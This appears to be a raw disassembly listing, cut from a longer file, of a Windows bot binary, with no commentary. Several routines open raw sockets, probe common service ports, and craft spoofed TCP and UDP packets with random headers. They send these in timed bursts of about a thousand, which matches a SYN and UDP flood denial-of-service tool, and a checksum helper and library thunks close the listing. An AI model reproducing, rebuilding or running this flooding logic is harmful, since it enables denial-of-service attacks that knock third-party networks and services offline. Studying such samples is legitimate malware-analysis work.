loc_42860F:				; CODE XREF: sub_428577+92j
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_4290BE	; __WSAFDIsSet
		test	eax, eax
		jnz	short loc_428631
		lea	eax, [ebp+var_210]
		push	eax
		push	esi
		call	sub_4290BE	; __WSAFDIsSet
		test	eax, eax
		jz	short loc_42860B


loc_428631:				; CODE XREF: sub_428577+A7j
		lea	eax, [ebp+arg_0]
		mov	[ebp+arg_0], 4
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1007h
		push	0FFFFh
		push	esi
		call	dword_4372E8	; getsockopt
		cmp	eax, edi
		jz	short loc_42860B
		mov	eax, [ebp+var_4]
		neg	eax
		sbb	eax, eax


loc_42865C:				; CODE XREF: sub_428577+24j
					; sub_428577+8Bj ...
		pop	edi
		pop	esi
		leave
		retn
sub_428577	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_428660	proc near		; CODE XREF: sub_4284A5+61p
					; sub_4284A5+A3p

var_AC		= dword	ptr -0ACh
var_9C		= dword	ptr -9Ch
var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_90		= byte ptr -90h
var_64		= word ptr -64h
var_62		= word ptr -62h
var_60		= dword	ptr -60h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 9Ch
		push	ebx
		xor	ebx, ebx
		push	esi
		inc	ebx
		push	edi
		xor	esi, esi
		push	ebx
		push	esi
		push	esi
		push	0FFh
		push	3
		push	2
		mov	[ebp+var_14], ebx
		call	dword_4372C8	; WSASocketA
		lea	eax, [ebp+var_14]
		push	4
		push	eax
		push	2
		push	esi
		push	esi
		mov	dword_6764F8, esi
		call	dword_43728C	; setsockopt
		call	dword_437188	; GetTickCount
		push	eax
		call	sub_429B8F
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_20]
		mov	[ebp+var_54], ebx
		mov	[ebp+var_50], 15h
		mov	[ebp+var_4C], 16h
		mov	[ebp+var_48], 17h
		mov	[ebp+var_44], 35h
		mov	[ebp+var_40], 50h
		mov	[ebp+var_3C], 71h
		mov	[ebp+var_38], 87h
		mov	[ebp+var_34], 8Bh
		mov	[ebp+var_30], 1BDh
		mov	[ebp+var_2C], 0CEAh
		mov	[ebp+var_28], 0D3Dh
		mov	[ebp+var_24], 1A0Bh
		stosd
		push	0Bh
		lea	edi, [ebp+var_90]
		pop	ecx
		mov	[ebp+var_9C], esi
		mov	[ebp+var_98], esi
		mov	[ebp+var_94], esi
		rep stosd
		mov	[ebp+var_C], esi
		mov	[ebp+var_1C], 3
		mov	[ebp+var_18], 0BB8h
		mov	[ebp+var_4], esi


loc_428737:				; CODE XREF: sub_428660+143j
		push	[ebp+arg_10]
		mov	[ebp+var_64], 2
		call	sub_41E3EC
		mov	[ebp+var_60], eax
		mov	eax, [ebp+var_4]
		pop	ecx
		lea	edi, [ebp+eax+var_54]
		mov	ax, [edi]
		push	eax
		call	dword_456F38	; ntohs
		push	esi
		push	ebx
		push	2
		mov	[ebp+var_62], ax
		call	dword_456FD0	; socket
		lea	ecx, [ebp+var_1C]
		mov	[ebp+var_8], eax
		push	ecx
		lea	ecx, [ebp+var_64]
		push	10h
		push	ecx
		push	eax
		call	sub_428577
		add	esp, 10h
		mov	[ebp+var_10], eax
		push	[ebp+var_8]
		call	dword_456FF0	; closesocket
		cmp	[ebp+var_10], esi
		jnz	short loc_42879B
		mov	ecx, [ebp+var_4]
		mov	eax, [edi]
		mov	[ebp+ecx+var_9C], eax


loc_42879B:				; CODE XREF: sub_428660+12Dj
		add	[ebp+var_4], 4
		cmp	[ebp+var_4], 38h
		jl	short loc_428737
		mov	edi, 400h
		push	offset asc_43D938 ; " "
		push	edi
		push	offset dword_676500
		call	sub_429BBE
		add	esp, 0Ch
		call	dword_437188	; GetTickCount
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], esi
		mov	ebx, 0FFFFh


loc_4287CE:				; CODE XREF: sub_428660+1CBj
		call	dword_437188	; GetTickCount
		sub	eax, [ebp+var_8]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+arg_14]
		ja	short loc_42882D
		mov	eax, [ebp+var_4]
		mov	eax, [ebp+eax*4+var_9C]
		cmp	eax, esi
		jz	short loc_42880E
		mov	[ebp+var_C], eax
		push	eax
		mov	eax, offset dword_676500
		push	eax
		push	offset aSD	; "%s%d	"
		push	edi
		push	eax
		call	sub_429BBE
		add	esp, 14h
		jmp	short loc_428824
; ---------------------------------------------------------------------------


loc_42880E:				; CODE XREF: sub_428660+191j
		push	ebx
		push	esi
		call	sub_41E415
		pop	ecx
		pop	ecx
		push	eax
		call	dword_456F38	; ntohs
		movzx	eax, ax
		mov	[ebp+var_C], eax


loc_428824:				; CODE XREF: sub_428660+1ACj
		inc	[ebp+var_4]
		cmp	[ebp+var_4], 0Eh
		jl	short loc_4287CE


loc_42882D:				; CODE XREF: sub_428660+183j
					; sub_428660+409j
		push	28h
		push	esi
		push	offset byte_67649C
		call	sub_429760
		push	ebx
		push	edi
		mov	byte_67649C, 45h
		mov	byte_6764A5, 6
		mov	byte_67649D, 8
		call	sub_41E415
		add	esp, 14h
		push	eax
		call	dword_456F38	; ntohs
		push	28h
		mov	word_6764A0, ax
		call	dword_456F38	; ntohs
		push	[ebp+arg_10]
		mov	word_67649E, ax
		mov	word_6764A2, si
		mov	byte_6764A4, 40h
		call	sub_41E3EC
		mov	edi, eax
		mov	[esp+0ACh+var_AC], 0FFFEh
		push	1
		and	edi, ebx
		call	sub_41E415
		push	[ebp+arg_10]
		shl	eax, 20h
		or	eax, edi
		mov	dword_6764A8, eax
		call	sub_41E3EC
		and	byte_6764BD, 0
		add	esp, 0Ch
		mov	dword_6764AC, eax
		push	2000h
		call	dword_456F38	; ntohs
		push	ebx
		push	esi
		mov	word_6764BE, ax
		call	sub_41E415
		mov	edi, eax
		push	ebx
		push	esi
		shl	edi, 8
		call	sub_41E415
		add	esp, 10h
		add	edi, eax
		push	edi
		call	dword_456F34	; ntohl
		mov	dword_6764B4, eax
		mov	al, byte_6764BC
		push	[ebp+arg_10]
		and	al, 0Fh
		or	al, 50h
		mov	dword_6764B8, esi
		mov	byte_6764BC, al
		mov	ax, word ptr [ebp+var_C]
		mov	word_6764C2, si
		mov	word_6764B2, ax
		call	sub_41E3EC
		and	byte_6764DC, 0
		pop	ecx
		push	14h
		mov	dword_6764D8, eax
		mov	byte_6764DD, 6
		call	dword_456F38	; ntohs
		push	[ebp+arg_10]
		mov	word_6764DE, ax
		mov	word_6764C4, 2
		call	sub_41E3EC
		mov	dword_6764C8, eax
		mov	ax, word_6764B2
		pop	ecx
		mov	word_6764C6, ax
		mov	[ebp+var_4], esi
		jmp	short loc_42896B
; ---------------------------------------------------------------------------


loc_428969:				; CODE XREF: sub_428660+3DCj
		xor	esi, esi


loc_42896B:				; CODE XREF: sub_428660+307j
		cmp	[ebp+var_4], esi
		push	ebx
		push	esi
		jnz	short loc_42899F
		call	sub_41E415
		pop	ecx
		pop	ecx
		push	eax
		call	dword_456F38	; ntohs
		mov	word_6764B0, ax
		mov	eax, dword_6764A8
		mov	dword_6764D4, eax
		mov	byte_6764BD, 2
		mov	dword_6764B8, esi
		jmp	short loc_4289BC
; ---------------------------------------------------------------------------


loc_42899F:				; CODE XREF: sub_428660+310j
		mov	byte_6764BD, 10h
		call	sub_41E415
		pop	ecx
		pop	ecx
		push	eax
		call	dword_456F38	; ntohs
		movzx	eax, ax
		mov	dword_6764B8, eax


loc_4289BC:				; CODE XREF: sub_428660+33Dj
		inc	word_6764A0
		inc	dword_6764B4
		mov	ax, word_6764B2
		push	5
		mov	word_6764A6, si
		mov	word_6764C0, si
		pop	ecx
		mov	esi, offset word_6764B0
		mov	edi, offset dword_6764E0
		push	14h
		rep movsd
		mov	esi, offset byte_67649C
		mov	word_6764C6, ax
		push	esi
		call	sub_41E3E8
		push	20h
		push	offset dword_6764D4
		mov	word_6764A6, ax
		call	sub_41E3E8
		add	esp, 10h
		mov	word_6764C0, ax
		push	10h
		push	offset word_6764C4
		push	0
		push	28h
		push	esi
		push	dword_6764F8
		call	dword_456FAC	; sendto
		inc	[ebp+var_4]
		cmp	[ebp+var_4], 3FFh
		jl	loc_428969
		call	dword_437188	; GetTickCount
		sub	eax, [ebp+var_8]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+arg_14]
		ja	short loc_428A6E
		push	[ebp+arg_18]
		call	dword_437190	; Sleep
		xor	esi, esi
		mov	edi, 400h
		jmp	loc_42882D
; ---------------------------------------------------------------------------


loc_428A6E:				; CODE XREF: sub_428660+3F7j
		pop	edi
		pop	esi
		mov	eax, offset dword_676500
		pop	ebx
		leave
		retn
sub_428660	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_428A78	proc near		; DATA XREF: sub_40A9FE+7C54o

var_22C		= byte ptr -22Ch
var_128		= dword	ptr -128h
var_124		= byte ptr -124h
var_A4		= byte ptr -0A4h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 22Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	47h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_128]
		rep movsd
		mov	ecx, [ebp+var_128]
		mov	esi, offset dword_457CF8
		push	100h
		push	esi
		mov	[ebp+var_4], ecx
		mov	dword ptr [eax+118h], 1
		call	dword_4372E0	; gethostname
		push	esi
		call	dword_4372A4	; gethostbyname
		mov	eax, [eax+0Ch]
		push	esi
		mov	esi, dword_4372C0
		mov	eax, [eax]
		mov	edi, [eax]
		call	esi ; dword_4372C0
		lea	eax, [ebp+var_124]
		push	eax
		call	esi ; dword_4372C0
		mov	ebx, [ebp+var_20]
		mov	esi, [ebp+var_1C]
		push	0
		mov	[ebp+var_8], eax
		call	sub_42A7D5
		push	eax
		call	sub_429B8F
		pop	ecx
		test	esi, esi
		pop	ecx
		jle	loc_428B92
		mov	[ebp+var_C], esi


loc_428AFB:				; CODE XREF: sub_428A78+114j
		call	sub_429B9C
		cdq
		mov	ecx, 0FFh
		and	edi, 0FFFFFFh
		idiv	ecx
		shl	edx, 18h
		or	edi, edx
		call	sub_429B9C
		and	[ebp+arg_0], 0
		mov	esi, eax
		and	esi, 0FFh
		inc	esi
		test	esi, esi
		jle	short loc_428B40


loc_428B29:				; CODE XREF: sub_428A78+C6j
		call	sub_429B9C
		mov	ecx, [ebp+arg_0]
		inc	[ebp+arg_0]
		cmp	[ebp+arg_0], esi
		mov	[ebp+ecx+var_22C], al
		jl	short loc_428B29


loc_428B40:				; CODE XREF: sub_428A78+AFj
		call	sub_429B9C
		and	eax, 3
		jl	short loc_428B89
		cmp	eax, 1
		jle	short loc_428B6E
		cmp	eax, 2
		jnz	short loc_428B89
		push	ebx
		push	[ebp+var_8]
		call	sub_429B9C
		push	eax
		push	edi
		lea	eax, [ebp+var_22C]
		push	esi
		push	eax
		call	sub_428DF8
		jmp	short loc_428B86
; ---------------------------------------------------------------------------


loc_428B6E:				; CODE XREF: sub_428A78+D5j
		push	ebx
		push	[ebp+var_8]
		call	sub_429B9C
		push	eax
		push	edi
		lea	eax, [ebp+var_22C]
		push	esi
		push	eax
		call	sub_428BFF


loc_428B86:				; CODE XREF: sub_428A78+F4j
		add	esp, 18h


loc_428B89:				; CODE XREF: sub_428A78+D0j
					; sub_428A78+DAj
		dec	[ebp+var_C]
		jnz	loc_428AFB


loc_428B92:				; CODE XREF: sub_428A78+7Aj
		cmp	[ebp+var_14], 0
		mov	ebx, offset aAsqfy_k1uah0 ; "AsQfy.K1uah0"
		mov	edi, offset aVfeso_qcgdt_ ; "vfEsO.QcgDt."
		mov	esi, offset aSSS_0 ; "%s %s (%s)"
		jnz	short loc_428BC9
		cmp	[ebp+var_18], 0
		jnz	short loc_428BCF
		lea	eax, [ebp+var_124]
		push	eax
		push	ebx
		push	edi
		lea	eax, [ebp+var_A4]
		push	esi
		push	eax
		push	[ebp+var_4]
		call	sub_41CE4A
		add	esp, 18h


loc_428BC9:				; CODE XREF: sub_428A78+12Dj
		cmp	[ebp+var_18], 0
		jz	short loc_428BEB


loc_428BCF:				; CODE XREF: sub_428A78+133j
		lea	eax, [ebp+var_124]
		push	eax
		push	ebx
		push	edi
		lea	eax, [ebp+var_A4]
		push	esi
		push	eax
		push	[ebp+var_4]
		call	sub_41CDD4
		add	esp, 18h


loc_428BEB:				; CODE XREF: sub_428A78+155j
		push	[ebp+var_24]
		call	sub_423623
		pop	ecx
		push	0
		call	dword_437174	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_428A78	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_428BFF	proc near		; CODE XREF: sub_428A78+109p

var_1038	= byte ptr -1038h
var_1034	= byte ptr -1034h
var_102F	= byte ptr -102Fh
var_102E	= byte ptr -102Eh
var_102C	= byte ptr -102Ch
var_1024	= byte ptr -1024h
var_101C	= byte ptr -101Ch
var_38		= word ptr -38h
var_36		= word ptr -36h
var_34		= dword	ptr -34h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_1F		= byte ptr -1Fh
var_1E		= word ptr -1Eh
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1038h
		call	sub_429B60
		push	ebx
		xor	ebx, ebx
		push	ebx
		push	ebx
		push	ebx
		push	11h
		push	3
		push	2
		call	dword_4372C8	; WSASocketA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], eax
		jz	short loc_428C42
		lea	ecx, [ebp+var_24]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_24], 1
		call	dword_43728C	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_428C49


loc_428C42:				; CODE XREF: sub_428BFF+25j
		xor	eax, eax
		jmp	loc_428DF5
; ---------------------------------------------------------------------------


loc_428C49:				; CODE XREF: sub_428BFF+41j
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_20], 45h
		lea	esi, [edi+1Ch]
		mov	[ebp+var_28], esi
		call	sub_429B9C
		push	esi
		mov	esi, dword_4372C4
		mov	[ebp+var_1F], al
		call	esi ; dword_4372C4
		mov	[ebp+var_1E], ax
		call	sub_429B9C
		push	eax
		call	esi ; dword_4372C4
		mov	[ebp+var_1C], ax
		call	sub_429B9C
		push	[ebp+arg_C]
		mov	[ebp+var_1A], ax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_18], 80h
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_17], 11h
		mov	[ebp+var_16], bx
		mov	[ebp+var_10], eax
		call	esi ; dword_4372C4
		push	[ebp+arg_14]
		mov	[ebp+var_8], ax
		call	esi ; dword_4372C4
		add	edi, 8
		mov	[ebp+var_6], ax
		push	edi
		call	esi ; dword_4372C4
		mov	edi, 200h
		mov	[ebp+var_4], ax
		push	edi
		lea	eax, [ebp+var_1038]
		push	ebx
		push	eax
		mov	[ebp+var_2], bx
		call	sub_429760
		lea	eax, [ebp+var_14]
		push	4
		push	eax
		lea	eax, [ebp+var_1038]
		push	eax
		call	sub_429420
		lea	eax, [ebp+var_10]
		push	4
		push	eax
		lea	eax, [ebp+var_1034]
		push	eax
		call	sub_429420
		lea	eax, [ebp+var_17]
		push	1
		push	eax
		lea	eax, [ebp+var_102F]
		push	eax
		call	sub_429420
		lea	eax, [ebp+var_4]
		push	2
		push	eax
		lea	eax, [ebp+var_102E]
		push	eax
		call	sub_429420
		lea	eax, [ebp+var_8]
		push	8
		push	eax
		lea	eax, [ebp+var_102C]
		push	eax
		call	sub_429420
		movzx	esi, word ptr [ebp+arg_4]
		add	esp, 48h
		lea	eax, [ebp+var_1024]
		push	esi
		push	[ebp+arg_0]
		push	eax
		call	sub_429420
		lea	eax, [esi+14h]
		push	eax
		lea	eax, [ebp+var_1038]
		push	eax
		call	sub_42904F
		mov	[ebp+var_2], ax
		push	edi
		lea	eax, [ebp+var_1038]
		push	ebx
		push	eax
		call	sub_429760
		lea	eax, [ebp+var_20]
		push	14h
		push	eax
		lea	eax, [ebp+var_1038]
		push	eax
		call	sub_429420
		lea	eax, [ebp+var_8]
		push	8
		push	eax
		lea	eax, [ebp+var_1024]
		push	eax
		call	sub_429420
		push	esi
		lea	eax, [ebp+var_101C]
		push	[ebp+arg_0]
		push	eax
		call	sub_429420
		add	esp, 44h
		lea	eax, [ebp+var_38]
		push	10h
		push	ebx
		push	eax
		call	sub_429760
		mov	ax, [ebp+var_6]
		add	esp, 0Ch
		mov	[ebp+var_36], ax
		mov	eax, [ebp+var_10]
		mov	[ebp+var_34], eax
		lea	eax, [ebp+var_38]
		push	10h
		push	eax
		movzx	eax, word ptr [ebp+var_28]
		push	ebx
		push	eax
		lea	eax, [ebp+var_1038]
		mov	[ebp+var_38], 2
		push	eax
		push	[ebp+var_C]
		call	dword_437294	; sendto
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		push	2
		mov	esi, ecx
		call	dword_437190	; Sleep
		push	[ebp+var_C]
		call	dword_4372D8	; closesocket
		mov	eax, esi
		pop	edi
		pop	esi


loc_428DF5:				; CODE XREF: sub_428BFF+45j
		pop	ebx
		leave
		retn
sub_428BFF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_428DF8	proc near		; CODE XREF: sub_428A78+EFp

var_1044	= byte ptr -1044h
var_1040	= byte ptr -1040h
var_103B	= byte ptr -103Bh
var_103A	= byte ptr -103Ah
var_1038	= byte ptr -1038h
var_1030	= byte ptr -1030h
var_1024	= byte ptr -1024h
var_101C	= byte ptr -101Ch
var_44		= word ptr -44h
var_42		= word ptr -42h
var_40		= dword	ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= word ptr -2Ch
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_1F		= byte ptr -1Fh
var_1E		= word ptr -1Eh
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= word ptr -12h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= byte ptr -0Ch
var_B		= byte ptr -0Bh
var_A		= word ptr -0Ah
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1044h
		call	sub_429B60
		push	edi
		xor	edi, edi
		push	edi
		push	edi
		push	edi
		push	0FFh
		push	3
		push	2
		call	dword_4372C8	; WSASocketA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_18], eax
		jz	short loc_428E3E
		lea	ecx, [ebp+var_34]
		push	4
		push	ecx
		push	2
		push	edi
		push	eax
		mov	[ebp+var_34], 1
		call	dword_43728C	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_428E45


loc_428E3E:				; CODE XREF: sub_428DF8+28j
		xor	eax, eax
		jmp	loc_42904C
; ---------------------------------------------------------------------------


loc_428E45:				; CODE XREF: sub_428DF8+44j
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		mov	[ebp+var_14], 45h
		lea	esi, [eax+28h]
		mov	[ebp+var_30], esi
		call	sub_429B9C
		push	esi
		mov	esi, dword_4372C4
		mov	[ebp+var_13], al
		call	esi ; dword_4372C4
		mov	[ebp+var_12], ax
		call	sub_429B9C
		push	eax
		call	esi ; dword_4372C4
		mov	[ebp+var_10], ax
		call	sub_429B9C
		push	[ebp+arg_C]
		mov	[ebp+var_E], ax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_C], 80h
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_B], 6
		mov	[ebp+var_A], di
		mov	[ebp+var_4], eax
		call	esi ; dword_4372C4
		push	[ebp+arg_14]
		mov	[ebp+var_2C], ax
		call	esi ; dword_4372C4
		mov	[ebp+var_2A], ax
		call	sub_429B9C
		mov	ebx, dword_4372E4
		push	eax
		call	ebx ; dword_4372E4
		mov	[ebp+var_24], eax
		mov	eax, [ebp+arg_4]
		add	eax, 14h
		push	eax
		call	esi ; dword_4372C4
		mov	[ebp+var_20], al
		call	sub_429B9C
		mov	[ebp+var_1F], al
		call	sub_429B9C
		push	eax
		call	ebx ; dword_4372E4
		push	1A0Ah
		mov	[ebp+var_28], eax
		mov	[ebp+var_1A], di
		call	esi ; dword_4372C4
		mov	ebx, 200h
		mov	[ebp+var_1E], ax
		push	ebx
		lea	eax, [ebp+var_1044]
		push	edi
		push	eax
		mov	[ebp+var_1C], di
		call	sub_429760
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		lea	eax, [ebp+var_1044]
		push	eax
		call	sub_429420
		lea	eax, [ebp+var_4]
		push	4
		push	eax
		lea	eax, [ebp+var_1040]
		push	eax
		call	sub_429420
		lea	eax, [ebp+var_B]
		push	1
		push	eax
		lea	eax, [ebp+var_103B]
		push	eax
		call	sub_429420
		lea	eax, [ebp+var_20]
		push	2
		push	eax
		lea	eax, [ebp+var_103A]
		push	eax
		call	sub_429420
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		lea	eax, [ebp+var_1038]
		push	eax
		call	sub_429420
		movzx	esi, word ptr [ebp+arg_4]
		add	esp, 48h
		lea	eax, [ebp+var_1024]
		push	esi
		push	[ebp+arg_0]
		push	eax
		call	sub_429420
		lea	eax, [esi+20h]
		push	eax
		lea	eax, [ebp+var_1044]
		push	eax
		call	sub_42904F
		mov	[ebp+var_1C], ax
		push	ebx
		lea	eax, [ebp+var_1044]
		push	edi
		push	eax
		call	sub_429760
		lea	eax, [ebp+var_14]
		push	14h
		push	eax
		lea	eax, [ebp+var_1044]
		push	eax
		call	sub_429420
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		lea	eax, [ebp+var_1030]
		push	eax
		call	sub_429420
		push	esi
		lea	eax, [ebp+var_101C]
		push	[ebp+arg_0]
		push	eax
		call	sub_429420
		add	esp, 44h
		add	esi, 34h
		lea	eax, [ebp+var_1044]
		push	esi
		push	eax
		call	sub_42904F
		mov	[ebp+var_A], ax
		lea	eax, [ebp+var_14]
		push	14h
		push	eax
		lea	eax, [ebp+var_1044]
		push	eax
		call	sub_429420
		push	10h
		lea	eax, [ebp+var_44]
		push	edi
		push	eax
		call	sub_429760
		mov	ax, [ebp+var_2A]
		add	esp, 20h
		mov	[ebp+var_42], ax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_40], eax
		lea	eax, [ebp+var_44]
		push	10h
		push	eax
		movzx	eax, word ptr [ebp+var_30]
		push	edi
		push	eax
		lea	eax, [ebp+var_1044]
		mov	[ebp+var_44], 2
		push	eax
		push	[ebp+var_18]
		call	dword_437294	; sendto
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		mov	esi, ecx
		push	2
		call	dword_437190	; Sleep
		push	[ebp+var_18]


loc_429042:				; DATA XREF: .text:0043A055o
		call	dword_4372D8	; closesocket
		mov	eax, esi
		pop	esi
		pop	ebx


loc_42904C:				; CODE XREF: sub_428DF8+48j
		pop	edi
		leave
		retn
sub_428DF8	endp


; =============== S U B	R O U T	I N E =======================================



sub_42904F	proc near		; CODE XREF: sub_428BFF+14Ap
					; sub_428DF8+182p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		xor	edx, edx
		cmp	ecx, 1
		push	esi
		jle	short loc_42907A
		lea	eax, [ecx-2]
		push	edi
		shr	eax, 1
		inc	eax
		mov	esi, eax
		neg	esi
		lea	ecx, [ecx+esi*2]
		mov	esi, [esp+8+arg_0]


loc_42906D:				; CODE XREF: sub_42904F+26j
		movzx	edi, word ptr [esi]
		add	edx, edi
		inc	esi
		inc	esi
		dec	eax
		jnz	short loc_42906D
		pop	edi
		jmp	short loc_42907E
; ---------------------------------------------------------------------------


loc_42907A:				; CODE XREF: sub_42904F+Aj
		mov	esi, [esp+4+arg_0]


loc_42907E:				; CODE XREF: sub_42904F+29j
		test	ecx, ecx
		jz	short loc_429087
		movzx	eax, byte ptr [esi]
		add	edx, eax


loc_429087:				; CODE XREF: sub_42904F+31j
		mov	ecx, edx
		and	edx, 0FFFFh
		shr	ecx, 20h
		add	ecx, edx
		pop	esi
		mov	eax, ecx
		shr	eax, 20h
		add	eax, ecx
		not	eax
		retn
sub_42904F	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4290A0	proc near		; CODE XREF: sub_40A737+39p
					; sub_40A737+6Cp ...
		jmp	dword_4370A0
sub_4290A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4290A6	proc near		; CODE XREF: sub_40A737+2Ep
					; sub_41EFEF+3Fp
		jmp	dword_4370A4
sub_4290A6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4290AC	proc near		; CODE XREF: sub_40A737+1Ep
					; sub_41EFEF+26p ...
		jmp	dword_4370A8
sub_4290AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4290B2	proc near		; CODE XREF: sub_41F0F5+3A0p
		jmp	dword_43711C
sub_4290B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4290B8	proc near		; CODE XREF: sub_41F0F5+8Bp
		jmp	dword_437120
sub_4290B8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4290BE	proc near		; CODE XREF: sub_428577+A0p
					; sub_428577+B1p
		jmp	dword_4372EC
sub_4290BE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4290C4	proc near		; CODE XREF: sub_405C99+83p
					; sub_405C99+121p ...
		jmp	dword_43724C
sub_4290C4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4290CA	proc near		; CODE XREF: sub_41F0F5+D2p
		jmp	dword_4372F8
sub_4290CA	endp


; =============== S U B	R O U T	I N E =======================================



sub_4290D0	proc near		; CODE XREF: sub_415603+33p
					; sub_415641+33p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_4298F2
		pop	ecx
		retn
sub_4290D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4290DB	proc near		; CODE XREF: sub_41B5C1+Dp
		mov	eax, offset loc_436694
		call	sub_42B7CC
		sub	esp, 30h
		mov	al, [ebp-0Dh]
		push	esi
		push	0
		lea	ecx, [ebp-20h]
		mov	[ebp-20h], al
		call	sub_41B4ED
		mov	esi, offset aStringTooLong ; "string too long"
		push	esi
		call	sub_4293A0
		pop	ecx
		push	eax
		push	esi
		lea	ecx, [ebp-20h]
		call	sub_41B525
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_41B24F
		lea	eax, [ebp-3Ch]
		push	offset dword_438638
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_4373A4
		call	sub_42B8FA
		pop	esi
sub_4290DB	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_429135	proc near		; CODE XREF: sub_429172+20p
					; DATA XREF: .text:0043863Co
		mov	eax, offset loc_4366A8
		call	sub_42B7CC
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[ebp-10h], esi
		mov	dword ptr [esi], offset	off_4373C4
		and	dword ptr [ebp-4], 0
		push	1
		lea	ecx, [esi+0Ch]
		call	sub_41B4ED
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ecx, esi
		call	sub_42BA1B
		mov	ecx, [ebp-0Ch]
		pop	esi
		mov	large fs:0, ecx
		leave
		retn
sub_429135	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429172	proc near		; DATA XREF: .text:004373ACo

var_1C		= byte ptr -1Ch
var_18		= byte ptr -18h

		push	ebp
